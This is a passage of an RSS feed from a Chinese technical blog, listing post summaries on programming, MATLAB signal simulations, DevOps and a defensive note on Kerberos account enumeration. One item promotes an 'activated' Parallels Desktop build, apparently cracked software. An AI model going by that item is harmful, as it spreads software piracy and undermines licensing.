testUserList.add(testUser); } for(TestUser testUser:testUserList){ System.out.println(testUser.toString()); } } @Data public class TestUser { private String username; private Integer age; } </description>
    </item>
    <item>
      <title>CSS MASK</title>
      <link>https://bchobby.github.io/posts/d65f4ae3a0541de5effcbb9cfd862e2b/</link>
      <pubDate>Wed, 26 Jan 2022 09:44:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d65f4ae3a0541de5effcbb9cfd862e2b/</guid>
      <description>前言 最近看css大佬chokcoco的文章，发现对于mask（遮罩）这个属性没怎么学习过，就接着大佬的这篇&#xA;奇妙的 CSS MASK 文章进行简单学习，并自己实现一下文章中有意思的效果&#xA;参考文章：&#xA;奇妙的 CSS MASK&#xA;CSS mask遮罩&#xA;MASK常用属性 在 CSS 中，mask 属性允许使用者通过遮罩或者裁切特定区域的图片的方式来隐藏一个元素的部分或者全部可见区域。&#xA;常用属性&#xA;mask-image：遮罩图片mask-repeat：是否重复mask-position：遮罩位置mask-size：遮罩尺寸 实例1 mask-image指遮罩使用的图片资源，默认值是none，也就是无遮罩图片。类似于background-image属性&#xA;下面使用这两张图片&#xA;.main{ width: 100%; height:100%; background: url(&#39;../image/11.webp&#39;); mask-image: url(&#39;../image/q.png&#39;); mask-repeat: no-repeat; } 效果&#xA;如 css mask遮罩 这篇文章中说的，所谓遮罩，就是原始图片只显示遮罩图片非透明的部分。&#xA;实例2 mask-image 除了使用背景图同样可以使用渐变，如下：&#xA;.main{ width: 100%; height:100%; background: url(&#39;../image/11.webp&#39;); mask-image: linear-gradient(90deg, #fff,transparent); } 效果&#xA;使用渐变同样需要遵守：所谓遮罩，就是原始图片只显示遮罩图片非透明的部分。&#xA;如果不设置透明，比如设置为mask-image: linear-gradient(90deg, #fff,#000); 那么只会显示原图片&#xA;实例3 实现切角，线性渐变 .main{ width: 100%; height:100%; background: url(&#39;../image/11.webp&#39;); mask: linear-gradient(135deg, transparent 50px, #fff 0) top left; } 实例4 径向渐变 &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>VS简明教程（VS安装、系统建议设置、软件设置、新建工程、发行、编译建议）、VS Code简明教程（安装、汉化、配置python环境、安装插件、新建并运行python程序）</title>
      <link>https://bchobby.github.io/posts/5b49f49dab392bd53653379a1679d3ce/</link>
      <pubDate>Wed, 26 Jan 2022 08:11:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b49f49dab392bd53653379a1679d3ce/</guid>
      <description>1.安装 官网下载安装器，工作负荷选择如下（假如只用C，且只为学习语言），安装位置建议是不要改，改也可以&#xA;安装位置参考：&#xA;选择安装位置 - Visual Studio (Windows) | Microsoft Docshttps://docs.microsoft.com/zh-cn/visualstudio/install/change-installation-locations?view=vs-2022&#xA;备注&#xA;某些工具和 SDK 对于安装位置有不同规则。 即使选择另一位置，这些工具和 SDK 也会安装在系统驱动器上。&#xA;提示&#xA;如果系统驱动器是固态硬盘 (SSD)，建议你将核心产品保留在系统驱动器上。 原因？ 当使用 Visual Studio 进行开发时，将从大量文件进行读取并写入大量文件，这会增加磁盘 I/O 活动。 最好选择最快的驱动器来处理负载。&#xA;2.系统建议的一些设置 首先文件管理器里打开“文件扩展名“和”隐藏的项目“&#xA;打开”Windows安全中心“，进行如下设置&#xA;关闭“文件夹限制访问”&#xA;3.初次打开VS 初学者主要使用以上两个选项，进阶学者可能会用第一个。 创建新项目：以下两种创建方法都可以，有的教程建议“空项目”，有的教程“Windows桌面向导”，两种都可以，看个人喜好。&#xA;配置新项目，注意项目名称连接处用下划线“_”，还要勾选图中所示&#xA;如图所示设置就好&#xA;这样就建立了一个新项目&#xA;在“视图”里可以设置各种管理器的开/关。 如图所示添加源文件&#xA;在“工具”“选项”里可以进行字体、字号等设置 更改颜色主题&#xA;运行的时候如图，开始执行（不调试），快捷键Ctrl+F5&#xA;如果程序报错，选择“否”，可以看到错误提示&#xA;针对“拒绝访问”错误&#xA;如果要分享自己的程序，选择“发行”&#xA;若要直接在文件管理器打开VS文件，则找&#34;.sln&#34;后缀的文件&#xA;建议语句规范&#xA;变量赋值等号两边要有空格&#xA;编写多个源文件的问题：&#xA;在一个项目中，编写多个源文件时，只能在一个源文件里使用main函数。&#xA;以上就是C语言初学者使用VS的一些建议。&#xA;4.VS Code安装 VScode 教程 | 菜鸟教程 (runoob.com)https://www.runoob.com/w3cnote/vscode-tutorial.html&#xA;注意两点：&#xA;1.安装位置可以改变，与VS略有不同&#xA;2.安装时注意勾选选项，如图所示&#xA;3.汉化&#xA;打开vc code，安装一个插件&#xA;4.配置python环境&#xA;Python3 环境搭建 | 菜鸟教程 (runoob.</description>
    </item>
    <item>
      <title>ES6数组中删除指定元素</title>
      <link>https://bchobby.github.io/posts/a08a8bb101285ddda5eaee1ec9bd1758/</link>
      <pubDate>Tue, 25 Jan 2022 23:33:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a08a8bb101285ddda5eaee1ec9bd1758/</guid>
      <description>ES6数组中删除指定元素 findIndex()方法返回数组中满足提供的测试函数的第一个元素的索引。否则返回-1。 arr.splice(arr.findIndex(item =&amp;gt; item.id === data.id), 1) arr.splice(arr.findIndex(item =&amp;gt; item.id === id), 1) 1、item 代码参数(可变) 2、 item.id 根据数组里面的唯一值写 比如：id、key 3、 id：是你想要删除的元素的id号 比如：record.id record.key(对象.属性) 或者 id 、key(根据实际定) 4、1是你要删除1个元素的意思 5、splice() 方法用于添加或删除数组中的元素 注意：这种方法会改变原始数组。 6、findIndex() 是找到某元素的下标的位置 1:js中的splice方法&#xA;splice(index,len,[item]) 注释：该方法会改变原始数组。&#xA;splice有3个参数，它也可以用来替换/删除/添加数组内某一个或者几个值&#xA;index:数组开始下标 len: 替换/删除的长度 item:替换的值，删除操作的话 item为空&#xA;如：arr = [‘a’,‘b’,‘c’,‘d’]&#xA;删除 ---- item不设置&#xA;arr.splice(1,1) //[‘a’,‘c’,‘d’] 删除起始下标为1，长度为1的一个值，len设置的1，如果为0，则数组不变&#xA;arr.splice(1,2) //[‘a’,‘d’] 删除起始下标为1，长度为2的一个值，len设置的2&#xA;替换 ---- item为替换的值&#xA;arr.splice(1,1,‘ttt’) //[‘a’,‘ttt’,‘c’,‘d’] 替换起始下标为1，长度为1的一个值为‘ttt’，len设置的1&#xA;arr.splice(1,2,‘ttt’) //[‘a’,‘ttt’,‘d’] 替换起始下标为1，长度为2的两个值为‘ttt’，len设置的1&#xA;添加 ---- len设置为0，item为添加的值&#xA;arr.splice(1,0,‘ttt’) //[‘a’,‘ttt’,‘b’,‘c’,‘d’] 表示在下标为1处添加一项‘ttt’</description>
    </item>
    <item>
      <title>(tensorflow2.1.0安装教程) 对应Anaconda3(对应python3.7)&#43;cuda10.1&#43;cudnn7.6.5&#43;Pycharm 网盘 链接</title>
      <link>https://bchobby.github.io/posts/20a4c81266c6fa8fa88c22a3702d55dd/</link>
      <pubDate>Tue, 25 Jan 2022 21:49:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20a4c81266c6fa8fa88c22a3702d55dd/</guid>
      <description>tensorflow2.1.0 安装工具百度网盘链接 整体安装流程及版本：&#xA;Anaconda3(2019)对应python3.7+cuda10.1+cudnn7.6.5+Pycharm&#xA;第一步： 首先确保电脑上原先所有的python和conda环境卸载干净&#xA;网盘获取：&#xA;&amp;lt;1&amp;gt;Anaconda3-5.3.1-Windows-x86_64.exe&#xA;链接：https://pan.baidu.com/s/1mMOVgFkCfhF6hYTGdEGJKQ&#xA;提取码：2zk8&#xA;&amp;lt;2 &amp;gt;cuda_10.1.105_418.96_win10.exe&#xA;链接：https://pan.baidu.com/s/1sInaK4c5KC3LX7qCLIWYFQ&#xA;提取码：t11g&#xA;&amp;lt;3&amp;gt;cudnn7.6.5&#xA;链接：https://pan.baidu.com/s/1uwTFfr4JsW5V3JN51sW-Xg&#xA;提取码：tytf&#xA;&amp;lt;4&amp;gt;pycharm-community-2021.3.1.exe&#xA;链接：https://pan.baidu.com/s/17NwHddp_k91GqfeBe99rGg&#xA;提取码：qnes&#xA;&amp;lt;5&amp;gt;TensorFlow安装，Terminal输入：&#xA;pip install tensorflow-gpu==2.1.0 -i https://pypi.douban.com/simple&#xA;这篇博客提供与tf2.1.0版本对应的anaconda、cuda、cudnn的安装包。测试成功。具体每一步的详细安装步骤参照另外一篇博客。&#xA;https://blog.csdn.net/qq_42005540/article/details/111941929?spm=1001.2014.3001.5501&#xA;https://blog.csdn.net/weixin_44170512/article/details/103990592&#xA;与之相对应的pytorch安装包：&#xA;安装torch1.6.0&#xA;链接：https://pan.baidu.com/s/1Q65RMFZVtzHAiGMzL6PCnA&#xA;提取码：yo1q</description>
    </item>
    <item>
      <title>PCM编码译码仿真</title>
      <link>https://bchobby.github.io/posts/8482fbf9a4a1f69a9b80bfef1bcabfd6/</link>
      <pubDate>Tue, 25 Jan 2022 19:13:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8482fbf9a4a1f69a9b80bfef1bcabfd6/</guid>
      <description>一、实验目的&#xA;1．熟悉PCM（脉冲编码调制）原理。&#xA;2．掌握编写PCM（脉冲编码调制）程序的要点。&#xA;3．掌握使用Matlab调制仿真的要点。&#xA;二、实验内容&#xA;1．根据PCM（脉冲编码调制）原理，设计源程序代码。&#xA;2．通过Matlab软件仿真给定模拟信号编码后的波形。&#xA;3. 对比给的原始信号波形和译码后的波形。&#xA;三、实验原理&#xA;1.脉冲编码调制&#xA;脉冲编码调制在通信系统中是一种对模拟信号数字化的取样技术，将模拟信号变换为数字信号的编码方式。 PCM的实现主要包括三个步骤完成：抽样、量化、编码。分别完成时间上离散、幅度上离散、及量化信号的二进制表示。根据CCITT的建议，为改善小信号量化性能，采用压扩非均匀量化，有两种建议方式，分别为A律和律方式，本设计采用了A律方式。由于A律压缩实现复杂，常使用13折线法编码，采用非均匀量化PCM编码示意图如图1所示&#xA;图1 PCM编码示意图&#xA;2.抽样：在一系列离散点上，对信号抽取样值称为抽样。其模拟信号的抽样过程如图2所示。&#xA;图2 模拟信号的抽样过程图&#xA;3.非均匀量化&#xA;图3 非均匀13折线压缩特性曲线&#xA;图4 非均匀13折线编码原理图&#xA;在实际应用中，量化器设计好后，量化电平数M和量化间隔都是确定的。量化噪声Nq 也是确定的。但是，信号的强度会影响信号量噪比，当信号小时，信号量噪比也就越小。因此，均匀量化器对小输入信号很不利，为了克服这个缺点，以改善小信号时的信号量噪比，采用下述的非均匀量化方式。&#xA;在非均匀量化中，量化间隔是随信号抽样值的不同而变化的。信号抽样值小时，量化间隔也小；信号抽样值大时，量化间隔也大，非均匀量化的实现方法有两种：一种是北美和日本采用的μ律压扩，一种是欧洲和我国采用的A律压扩，常采用的近似算法是13折线法，该算法的压缩特性图如图3所示。&#xA;信号小时，Δ小，信号大时，Δ大。一般语音信号，信号幅度小出现的概率大，信号幅度大出现的概率小。通过非均匀量化，使得平均信噪比增大。&#xA;13折线A律PCM的非线性编码方法具体过程如表1所示。&#xA;在13折线法中采用的折叠码有8位。其中一位c1 表示量化值的极性正负，后7位分为段落码和段内码两部分。用于表示量化值的绝对值。其中第2~4位（c2~c4）是段落码，5~8位（c5~c8）为段内码，可以表示每一段落内的16种量化电平。段内码代表的16个量化电平是均匀分布的，因此，这7位码总共能表示27=128种量化值。编码方法如下所示：&#xA;极性码　段落码　段内码&#xA;C1 C2C3C4 C5C6C7C8&#xA;（1）将量化区间［a,b］分为4096个小段&#xA;（2）正半轴2048个小段，负半轴2048个小段&#xA;（3）每个小段用Δ表示&#xA;表1 非均匀13折线编码原理&#xA;四、程序设计&#xA;1. 首先给定一个模拟信号。&#xA;2. 根据PCM（脉冲编码调制）原理，对模拟信号进行抽样，得到离散信号， 然后进行非均匀量化编码 ，采用13折线法。&#xA;3. 在Matlab当中进行操作时，首先要画出经过PCM调制的模拟信号波形。 4. 将经过PCM调制的信号叠加上一个高斯白噪声信道，然后，根据非均匀量化译码原理，得到译码后的波形，即原始的模拟信号。&#xA;五、设计流程&#xA;1. 输入一个模拟信号，根据奈奎斯特定理，进行抽样，得到时间上离散的模拟信号。&#xA;2. 根据非均匀量化编码（13折线法），设定模拟信号各个段的段落码和段内码。并画出量化编码后的波形。&#xA;3. 根据非均匀量化编码（13折线法）的逆向思想，即不同的段落码和段内码分别对应不同的电平值，最终得到译码后的模拟信号，然后画出译码后的模拟信号的波形。&#xA;六、源程序代码&#xA;%建立原信号&#xA;T=0.002; %取时间间隔为0.002&#xA;t=-0.1:T:0.1; %时域间隔dt为间隔从-0.1到0.1画图&#xA;xt=cos(2*pi*30*t)+sin(2*pi*65*t); %xt方程&#xA;%采样：时间连续信号变为时间离散模拟&#xA;%信号</description>
    </item>
    <item>
      <title>2ASK和2FSK调制解调仿真</title>
      <link>https://bchobby.github.io/posts/cdd4154a537764e948ef6f4befa0f364/</link>
      <pubDate>Tue, 25 Jan 2022 19:05:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdd4154a537764e948ef6f4befa0f364/</guid>
      <description>实验一 2ASK和2FSK调制解调仿真&#xA;一、实验目的&#xA;1．熟悉2ASK和2FSK调制解调原理。&#xA;2．掌握编写2ASK和2FSK调制解调程序的要点。&#xA;3．掌握使用Matlab调制解调仿真的要点。&#xA;二、实验内容&#xA;1．根据2ASK和2FSK调制解调原理，设计源程序代码。&#xA;2．通过Matlab软件仿真给定信号的调制波形。&#xA;3. 对比给定信号的理论调制波形和仿真解制波形。 三、实验原理&#xA;1．2ASK&#xA;二进制振幅键控（2ASK）信号码元为：&#xA;S(t)=A(t)cos(w0t+θ) 0﹤t≤T&#xA;式中w0=2πf0为载波的角频率；A(t)是随基带调制信号变化的时变振幅，即&#xA;╱ A 当发送“1”时&#xA;A(t)= ╲ 0 当发送“0”时&#xA;在式中给出的基带信号码元A(t)的波形是矩形脉冲。&#xA;产生2ASK的调制方法，主要有两种。第一种方法采用相乘电路如图1，用基带信号A（t）和载波cosw0t相乘就得到已调信号输出。第二种方法是采用开关电路如图2，开关由输入基带信号A（t）控制，用这种方法可以得到同样的输出波形。&#xA;图1 相乘法原理图 图2 开关法原理图&#xA;2ASK信号有两种基本的解调方法：非相干解调（包络检波法）和相干解调（同步检测法），相应的接收系统如图 3和图4所示。&#xA;图3 包络检波法（非相干解调）&#xA;图4 相干解调原理图&#xA;抽样判决器的作用是：信号经过抽样判决器，即可确定接收码元是“1”还是“0”。假设抽样判决门限为b，当信号抽样值大于b时，判为“1”码；信号抽样值小于b时，判为“0”码。当本实验为简化设计电路，在调制的输出端没有加带通滤波器，并且假设信道时理想的，所以在解调部分也没有加带通滤波器。&#xA;2. 2FSK调制原理&#xA;二进制频移键控（2FSK）信号码元的“1”和“0”分别用两个不同频率的正弦波形来传送，而其振幅和初始相位不变。故其表达式为；&#xA;式中，假设码元的初始相位分别为Φ1和Φ0；w1 =2πf1和w0 =2πf0为两个不同频率码元的角频率；A为一常数，表明码元的包络是矩形脉冲。&#xA;2FSK信号的调制方法主要有两种。第一种是用二进制基带矩形脉冲信号去调制一个调频器，使其能够输出两个不同频率的码元。第二种方法是用一个受基带脉冲控制的开关电路去选择两个独立频率源的振荡作为输出。&#xA;.2FSK解调原理&#xA;2FSK信号的解调也分为相关和非相关解调两类。 相关接收根据已调信号由两个载波f1、f2调制而成，则先用两个分别对f1、f2带通的滤波器对已调信号进行滤波，然后再分别将滤波后的信号与相应的载波f1、f2相乘进行相干解调，再分别低通滤波、用抽样信号进行抽样判决器即可。&#xA;原理图如下：&#xA;图5 二进制移频键控相干解调原理方框图&#xA;非相关接收经过调制后的2FSK数字信号通过两个频率不同的带通滤波器f1、f2滤出不需要的信号，然后再将这两种经过滤波的信号分别通过包络检波器检波，最后将两种信号同时输入到抽样判决器同时外加抽样脉冲，最后解调出来的信号就是调制前的输入信号。其原理图如下图所示：&#xA;图6 二进制移频键控非相干解调原理方框图&#xA;四、程序设计&#xA;1. 首先给定一组输入信号序列，如m=[1 1 1 0 0 0 1 0 1 1 0 1]。也可以利用rand随机产生一组元素为10的数字序列。&#xA;2. 根据2ASK和2FSK调制原理，需要对输入信号序列中的每个元素进行判断，假设判断元素为“1”，则在一个周期内，2ASK图像中对应一个正弦波，2FSK图像中也对应一个正弦波；假设判断元素为“0”，则在一个周期内，2ASK图像中对应零输出，2FSK图像中对应两个正弦波；假设判断元素非上述两者，则在图中均无图像输出。</description>
    </item>
    <item>
      <title>【图神经网络】图神经网络(GNN)学习笔记：图信号处理与图傅里叶变换</title>
      <link>https://bchobby.github.io/posts/d08cbe4f75564cbe709760776eece1cf/</link>
      <pubDate>Mon, 24 Jan 2022 23:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d08cbe4f75564cbe709760776eece1cf/</guid>
      <description>图神经网络GNN学习笔记：图信号处理与图卷积神经网络 第五章：图信号处理与图卷积神经网络1. 矩阵乘法的三种方式2. 图信号与图的拉普拉斯矩阵3. 图傅里叶变换参考资料 第五章：图信号处理与图卷积神经网络 图信号处理（Graph Signal Processing, GSP）是离散信号处理（Discrete Signal Processing, DSP）理论在图信号领域的应用，其通过对傅里叶变换、滤波等信号处理基本概念的迁移，来研究对图信号的压缩、变换、重构等信号处理的基础任务。&#xA;图信号处理与图卷积模型密切相关：&#xA;有助于了解图卷积模型的定义和演变为图卷积模型的理论研究提供工具 本文，首先给出图信号的基本定义，然后介绍图傅里叶变换，并引出图信号频率的定义；然后介绍图信号上的滤波操作，以及卷积滤波与图卷积模型的关系。同时还介绍了对图信号的频域与空域的理解。&#xA;1. 矩阵乘法的三种方式 设两个矩阵 A ∈ R K A\in R^{K} A∈RK， B ∈ R M × P B\in R^{M\times P} B∈RM×P，对于 C = A B C=AB C=AB，有如下3种计算方式：&#xA;(1)内积视角：将A视作一个行向量矩阵，将B视作一个列向量矩阵，则&#xA;C i j = A i , : B : , j C_{ij}=A_{i,:}B_{:,j} Cij​=Ai,:​B:,j​&#xA;(2)行向量视角：将B视作一个行向量矩阵，将A视作系数矩阵，则&#xA;C i , : = ∑ m M A i m B m , : C_{i,:}=\sum_{m}^MA_{im}B_{m,:} Ci,:​=m∑M​Aim​Bm,:​</description>
    </item>
    <item>
      <title>在Android 设置中的应用中隐藏指定app</title>
      <link>https://bchobby.github.io/posts/6677ef4b77687f833a31226e23bdbcc5/</link>
      <pubDate>Mon, 24 Jan 2022 17:28:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6677ef4b77687f833a31226e23bdbcc5/</guid>
      <description> 在文件&#xA;alps/packages/apps/Settings/src/com/android/settings/applications/ManageApplications.java&#xA;中rebuild方法中增加&#xA;//cxq for(ApplicationsState.AppEntry appEntry: entries){ if (DEBUG) Log.d(TAG, &#34;App packageName &#34; + appEntry.info.packageName); if(appEntry.info.packageName.equals(&#34;&#34;)) { entries.remove(appEntry); break; } } </description>
    </item>
    <item>
      <title>修复联网和usb问题 PD虚拟机17 Mac中文版(支持12系统)</title>
      <link>https://bchobby.github.io/posts/8ef5d7861970bd4181df0e23f7a0941c/</link>
      <pubDate>Mon, 24 Jan 2022 17:24:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ef5d7861970bd4181df0e23f7a0941c/</guid>
      <description>Parallels Desktop for Mac是Mac虚拟机软件中的佼佼者，现在全新版本的Parallels Desktop 中文版已经更新，支持最新的Windows 11、macOS Catalina、macOS Big Sur 11和macOS Monterey 12系统，无需重启电脑，可以轻松帮助用户在Mac上运行windows或其他系统，而且安装parallels desktop mac版后，你可以在Mac上运行数千种Windows程序，这里带来最新激活的Parallels Desktop mac中文版，欢迎各位来体验哦！&#xA;Parallels Desktop 17 for Mac官方介绍&#xA;Parallels Desktop是一款运行在Mac电脑上的极为优秀的虚拟机软件，用户可以在 Mac OS X下非常方便运行Windows、Linux等操作系统及应用，用户不必繁琐重复地重启电脑即可在Win与Mac之间切换甚至同时使用它们。</description>
    </item>
    <item>
      <title>java策略模式实践</title>
      <link>https://bchobby.github.io/posts/dda2fa04bf773cfcfe906d111abbcc78/</link>
      <pubDate>Mon, 24 Jan 2022 16:05:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dda2fa04bf773cfcfe906d111abbcc78/</guid>
      <description>java策略模式 在具体实践中根据业务形态不同做适当调整&#xA;1、被动方式&#xA;策略维护规则用 switch case 模式 每新加一个实现类 需根据 type 指定具体实现类&#xA;优点：所有实现类都必须在context中显示初始化 所有实现类一目了然 比较清晰&#xA;缺点：context中暴露了具体的接口实现 弱化了context的能力&#xA;简略代码实现&#xA;interface Fruit{ String color; int size; } class Apple implements Fruit{ String color; int size; String location; } class Pear implements Fruit{ String color; int size; String season; } class FruitContext{ private Fruit; private init(int fruitType){ switch(fruitType){ case 苹果: new Apple(); break; case 梨子: new Pear; break; ... case 葡萄: //...; break; } } // 对应业务逻辑实现 private String processFruit(int fruitType){ init(fruitType); return Fruit.</description>
    </item>
    <item>
      <title>【时间序列】最完整的时间序列分析和预测（含实例及代码）</title>
      <link>https://bchobby.github.io/posts/0242d3f15b4cd8402c25faf14f0c184f/</link>
      <pubDate>Mon, 24 Jan 2022 12:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0242d3f15b4cd8402c25faf14f0c184f/</guid>
      <description>时间序列 在生产和科学研究中，对某一个或者一组变量 进行观察测量，将在一系列时刻所得到的离散数字组成的序列集合，称之为时间序列。&#xA;pandas生成时间序列&#xA;过滤数据&#xA;重采样&#xA;插值&#xA;滑窗&#xA;数据平稳性与差分法&#xA;pandas生成时间序列 时间戳（timestamp）&#xA;固定周期（period）&#xA;时间间隔（interval）&#xA;import pandas as pd import numpy as np # TIMES的几种书写方式 #2016 Jul 1; 7/1/2016; 1/7/2016 ;2016-07-01; 2016/07/01 rng = pd.date_range(&#39;2016-07-01&#39;, periods = 10, freq = &#39;3D&#39;)#不传freq则默认是D rng DatetimeIndex([&#39;2016-07-01&#39;, &#39;2016-07-04&#39;, &#39;2016-07-07&#39;, &#39;2016-07-10&#39;, &#39;2016-07-13&#39;, &#39;2016-07-16&#39;, &#39;2016-07-19&#39;, &#39;2016-07-22&#39;, &#39;2016-07-25&#39;, &#39;2016-07-28&#39;], dtype=&#39;datetime64[ns]&#39;, freq=&#39;3D&#39;) time=pd.Series(np.random.randn(20),index=pd.date_range(&#39;2016-01-01&#39;,periods=20)) print(time) 2016-01-01 -1.503070 2016-01-02 1.637771 2016-01-03 -1.527274 2016-01-04 1.202349 2016-01-05 -1.214471 2016-01-06 2.686539 2016-01-07 -0.665813 2016-01-08 1.</description>
    </item>
    <item>
      <title>Python中使用Flask：VsCode调试Flask程序</title>
      <link>https://bchobby.github.io/posts/3bf9e419d1ef8ece73c6b4ca618269bc/</link>
      <pubDate>Mon, 24 Jan 2022 11:30:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bf9e419d1ef8ece73c6b4ca618269bc/</guid>
      <description> 系列文章目录&#xA;Python中使用Flask：VsCode调试Flask程序&#xA;Python中使用Flask：Flask Web入门实操&#xA;Python中使用Flask：Docker发布Flask API&#xA;VsCode中如何调试Flask程序呢？ 首先需要建立调试的配置文件，launch.json&#xA;在弹出的界面选择flask&#xA;点击调试，报错了，尴尬的很，看了控制台输出的信息Flask app &#39;app.py‘,我们的程序是app的嘛，系统默认生成的launch.json中配置的也是app.py，只有app.py中配置的是wwxcweb，是不是应该改为wwxcweb呢？试试看！&#xA;这里的原理确实有点懵，希望有大佬解释一下&#xA;修改app.py为wwxcweb.py，修改后文件目录&#xA;修改launch.josn中相关的配置&#xA;&#34;env&#34;: { &#34;FLASK_APP&#34;: &#34;wwxcweb.py&#34;, &#34;FLASK_ENV&#34;: &#34;development&#34;, &#34;FLASK_DEBUG&#34;: &#34;0&#34; }, 添加断点，点击debug或者F5，访问页面，可以看到命中断点了&#xA;wwxcweb 代码 from setuptools import setup setup( name=&#39;wwxcweb&#39;, packages=[&#39;wwxcweb&#39;], include_package_data=True, install_requires=[ &#39;flask&#39;, ], ) init.py 代码 from flask import Flask app = Flask(__name__) import wwxcweb.fileupload import wwxcweb.returnhtml </description>
    </item>
    <item>
      <title>基于 Docker 的 Gitlab 环境迁移遇坑记录</title>
      <link>https://bchobby.github.io/posts/11e82de39310065625636a1bdfc43a55/</link>
      <pubDate>Mon, 24 Jan 2022 11:09:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11e82de39310065625636a1bdfc43a55/</guid>
      <description>目录 （1）迁移准备工作1.1 停掉gitlab1.2 拷贝giblab1.3 启动容器 （2）填坑2.1 查看容器状态2.2 重新配置权限 + 重新配置gitlab2.3 解决 gitaly 启动问题2.5 解决 rails 权限问题2.5 解决 grafana 权限问题 因为安全需要，公司的gitlab需要从外网迁移到内网。按道理说公司的gitlab是用的docker部署，直接把原来的docker整个目录复制过来就可以，但是直接复制的会导致gitlab启动不了，中间遇到各种坑，这里记录下可能会帮助到有缘人，O(∩_∩)O哈哈~。&#xA;基础环境&#xA;操作系统：Ubuntu 18.04&#xA;容器环境：Docker version 20.10.12 / docker-compose version&#xA;Gitlab环境：Gitlab 13.7.9&#xA;（1）迁移准备工作 1.1 停掉gitlab 进入容器所在目录，停掉服务&#xA;docker-compose stop 千万可别 docker-compose down 这个将停止运行的容器，并且会删除已停止的容器以及已创建的所有网络。&#xA;1.2 拷贝giblab scp -r ./gitlabxx user@192.168.xx.xx:/data/xx/xx 1.3 启动容器 进入拷贝后的目录，启动 gitlab&#xA;docker-compose up -d （2）填坑 2.1 查看容器状态 查看容器状态，发现容器内部一直在重启&#xA;docker-compose ps docker的 state 状态 一直是 starting ，通过网上搜索问题，判断应该是容器内部出了问题，进入容器&#xA;docker-compose exec gitlab bash 其中 gitlab 是 docker-compose 的 services 名字， 进入后通过下面命令查看gitlab的运行状态：</description>
    </item>
    <item>
      <title>关于ES查询文档标记来源问题</title>
      <link>https://bchobby.github.io/posts/8f2b7f078a45c8510c91a9d85dcf6883/</link>
      <pubDate>Mon, 24 Jan 2022 10:44:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f2b7f078a45c8510c91a9d85dcf6883/</guid>
      <description>关于ES查询文档标记来源问题 1.目前知了使用的方案 知了目前使用的是ES为Java提供一个查询接口，叫做QueryBuilder&#xA;当用户传入查询后，现在我们做了一个这个事情——多字段匹配查询&#xA;reBuilder = reBuilder.must(multiMatchQuery(query, &#34;title&#34;, &#34;text&#34;)); 其中这个query就是用户的输入&#xA;官方文档给出的解释是：Finds documents which match any field, but uses the _score from the best field.&#xA;实际上这个多字段匹配查询可以这么理解：&#xA;比如说用户搜索一个「北京邮电大学」&#xA;我在标题和正文里分别对北京邮电大学进行全文检索，然后分别在两个字段里按照命中率(或者说_score)进行排序&#xA;然后将这两个排序结果取并集，在两个字段命中率都高的排名考前&#xA;最后得到一个没有重复的文档集合，返回给用户&#xA;这就造成一个问题，通过这种方法获得的结果是这样的&#xA;[&#34;0&#34;: { &#34;id&#34;: 17516, &#34;crop_id&#34;: null, &#34;user_id&#34;: 23, &#34;create_time&#34;: 1631950049000, &#34;edit_time&#34;: 1631950049000, &#34;title&#34;: &#34;计算机学院2021级培养方案&#34;, &#34;text&#34;: &#34;&amp;lt;p&amp;gt;计算机学院2021级培养方案，包括：&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;北京邮电大学专业学位硕士研究生培养方案（2021级）-9.14.pdf&amp;lt;br /&amp;gt;北京邮电大学博士研究 生培养方案（2021级）-9.3.pdf&amp;lt;br /&amp;gt;北京邮电大学学术学位硕士研究生培养方案（2021级）-9.9.pdf&amp;lt;br /&amp;gt;北京邮电大学直博研究生培养方案（2021级）-9.3.pdf&amp;lt;/p&amp;gt;&#34;, &#34;attachment&#34;: null, &#34;superior&#34;: 0, &#34;recognition&#34;: null, &#34;opposition&#34;: null, &#34;pageview&#34;: null, &#34;collection&#34;: null, &#34;group_id&#34;: &#34;&#34;, &#34;label_id&#34;: &#34;111,203,129&#34;, &#34;user_name&#34;: null, &#34;group_name&#34;: null, &#34;</description>
    </item>
    <item>
      <title>账户枚举介绍</title>
      <link>https://bchobby.github.io/posts/8a375de89054b942fd739d925f828e15/</link>
      <pubDate>Mon, 24 Jan 2022 09:11:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a375de89054b942fd739d925f828e15/</guid>
      <description>账户枚举介绍 原理说明&#xA;攻击者可以利用kerberos协议的特性来进行账户枚举，如图，如果账号不存在，在第②阶段的时候会返回C_PRINCIPAL_UNKNOWN错误。&#xA;危害说明&#xA;1、主机可能已被攻陷，成为内网跳板机对域控服务器进行攻击。&#xA;2、主机可能已中毒，主机敏感信息存在被泄露的风险。&#xA;处置建议&#xA;1、推荐使用深信服EDR工具进行分析并查杀：http://edr.sangfor.com.cn/tool/SfabAntiBot.zip</description>
    </item>
    <item>
      <title>selenium-XPATH以及CSS的便捷使用</title>
      <link>https://bchobby.github.io/posts/20f7c55e264a8b7587aacf34399b3709/</link>
      <pubDate>Mon, 24 Jan 2022 08:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20f7c55e264a8b7587aacf34399b3709/</guid>
